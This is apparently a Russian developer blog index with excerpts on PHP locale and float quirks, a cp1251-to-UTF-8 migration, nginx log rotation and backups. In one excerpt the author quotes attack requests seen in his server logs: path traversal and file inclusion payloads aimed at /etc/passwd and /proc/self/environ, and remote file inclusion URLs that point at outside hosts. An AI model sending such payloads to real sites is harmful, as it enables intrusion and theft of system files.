заметки на полях

Блокнот разработчика

Special Sidebar

You can add any content in this area by go to
Admin->Design->Widgets->Sidebar4

Как float зависит от локали?!

На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло – я вовремя нагуглил правильный ответ :) Теперь собственно к делу. Вот код и ожидаемый результат его выполнения:

$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3.14

У меня же получился другой вариант, от которого я честно говоря подвис:

$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3,14

Выяснилось что результат зависит от установки локали, у меня стояло: setlocale(LC_ALL, "ru_RU.UTF8"); пока остановился на таком варианте:

setlocale(LC_CTYPE, "ru_RU.utf8");
setlocale(LC_TIME, "ru_RU.utf8");

PHP у меня 5.2.10, а баг сей я так понимаю тащится аж с 2002 года версии 4.3.0 RC2: Bug #17079 setlocale changes the internal representation of floats

Перевод сайта c cp1251 на UTF-8

Для начала перевести БД из cp1251 в utf8.
Сделать дамп mysqldump -u svd -n --skip-opt --skip-set-charset --triggers --disable-keys svdev > dump.sql – получится чистый дамп без упаминания кодировок, можно получить отдельно данные: mysqldump -u svd -nt --skip-opt --skip-set-charset --disable-keys svdev > data.sql, поменять кодировку полей в схеме, вместо:

name varchar(64) character SET cp1251 NOT NULL

сделать

name varchar(64) character SET utf8 NOT NULL

или же убрать упоминание кодировки из полей вовсе:

name varchar(64) NOT NULL

так как при установке правильной кодировки для БД кодировки для текстовых полей создаваемых таблиц будут устанавливаться верно сами, затем изменить кодировку самой БД:

ALTER DATABASE svdev DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci

и залить назад в обратном порядке – сначала структуру, затем данные.
Следующим шагом необходимо изменить кодировку файлов, для этого я набросал простенький скрипт (подключаемые библиотеки которые трогать не надо – типа tiny просто вынес сначала из проекта, а затем вернул обратно: Read more »

Hacking часть II

Продолжаю серию забавных вещей из логов: Read more »

onPHP 1.1 удобные формы

Наконец-то формы стали более дружелюбны к разработчика. Убрали широко используемые до этого addRule() вместо них теперь можно добавлять свои ошибки на поля формы в дополнение к стандартным отсутствие/неверное значение.
Еще из приятных вещей, что можно получить ошибку для конкретного поля, не придумывая для этого замысловатые конструкции (не все же ведь ошибки выводят скопом, некоторые и около полей); появились еще и описания ошибок – дополнительные поля, которые можно использовать (а можно и не использовать) по своему усмотрению.
У PrimitiveList больше нет методов setDefaultAction() и getActualValue – надо просто установить значение setValue(), и оно и будет дефолтным в случае чего, при получении через getChoiceValue().
Read more »

Hacking часть I

Обнаружил в логах довольно забавную картину по поиску слабых мест :)

client: 83.168.217.53, server: ***, request: "GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&a=resume&id=846 HTTP/1.0"

Ну и дальше вместо всех переменных пробуем подставлять:

/proc/self/environ%00
/../../../../../../../../../../proc/self/environ%00
/etc/passwd%00
../../../../../../../../../../etc/passwd%00
/../../../../../../../../../../etc/passwd%00

Что самое интересное – откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.

А вот ходят по другому поводу

client: 203.237.238.234, server: ***, request: "GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"

client: 203.237.238.234, server: ***, request: "GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"

Интересно, что за сканер такой, или руками?

PHP библиотека GD в debian сборке или выкидываем GD на помойку

В ходе работы выяснилась неприятная вещь – в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с imagerotate. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение – ImageMagick и PHP обертка для нее Imagick.
Собственно давно уже пора переходить на её использование:

  • быстрее
  • возможность выбора различных фильтров при ресайзе
  • ОО интерфейс
  • нет необходимости заморачиваться с типами файлов – все уже сделано за нас
  • эксепшены вместо ошибок

Ну и наверняка есть еще достоинства, которые просто не пришли вот так сразу в голову.
Read more »

Backup проекта, часть 2

Немного ранее, был представлен SHELL скрипт резервного сохранения данных проекта. При наличии нескольких проектов хочется каким-то образом систематизировать этот процесс, для облегчения подключения новых проектов к резервному копированию, кроме как плодить файлы с дублированием кода, учитывая тот факт, что со временем может измениться логика выполняемых действий или настройки подключения к БД/FTP серверу.

Вынесем общую логику в отдельный скрипт, а индивидуальные данные проекта, такие как имя БД и загружаемые файлы в конфигурационный файл для каждого проекта.
Read more »

Ротация логов nginx

Простенький скрипт, который проверяет доступность пакета logrotate и запускает ротацию. Кладется в /etc/cron.daily и запускается как правило в 4 часа утра, за это отвечает запись в /etc/crontab (у меня в 6 часов 25 минут):

25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

Сам скрипт, запускающий суточные задания:

#!/bin/sh

test -x /usr/sbin/logrotate || exit 0
/usr/sbin/logrotate /etc/logrotate.conf

Среди которых ротация логов nginx:

/var/log/nginx/*.log /var/www/*/logs/error.log {
        daily
        missingok
        rotate 1
        compress
        delaycompress
        notifempty
        create 640 root adm
        sharedscripts
        postrotate
                [ ! -f /var/run/nginx.pid ] || kill -USR1 `cat /var/run/nginx.pid`
                cat /var/log/nginx/error.log.1 | mail -s "Nginx error log" root
                cat /var/www/*/logs/error.log.1 | mail -s "Sitests nginx error log" root
        endscript
}

Что здесь происходит? Ротируются логи nginx из /var/log/nginx а за позапрошлый день сжимаются и так же с логами для всех проектов, если учесть что проекты находятся в /var/www а логи соответственно в директории logs проекта. А логи за предыдущий день отправляются на почту рута двумя письмами – одно со всех проектов, а второе самого nginx.

Backup проекта

Люди делятся на тех кто еще не делает
и тех, кто уже делает бэкапы

Обязательным свойством любого проекта являются резервное сохранение данных. И так, приступим. Допустим все данные у нас хранятся в БД (в моем случае mysql, но если это postgres – отличие будет в одной строчке) и существуют различные файлы загружаемые пользователями. Файлы проекта хранятся в репозитории, поэтому за их сохранность можно не беспокоиться (можно на всякий случай еще сохранять конфиг). Так же понадобится другая машина для сохранения бэкапов, более чем достаточно иметь FTP на другой машине.

UPD: Немного подчищен код и приведен к соответствию соглашениям.

Read more »

Вывод ошибок PHP в логи nginx

После того как не осталось Apache, то и негде посмотреть ошибки PHP привычным способом (в логах Апача); сделаем что бы nginx вел лог ошибок PHP. nginx перехватывает то, что ему пришло от php-fastcgi на stderr и пишет это в лог Read more »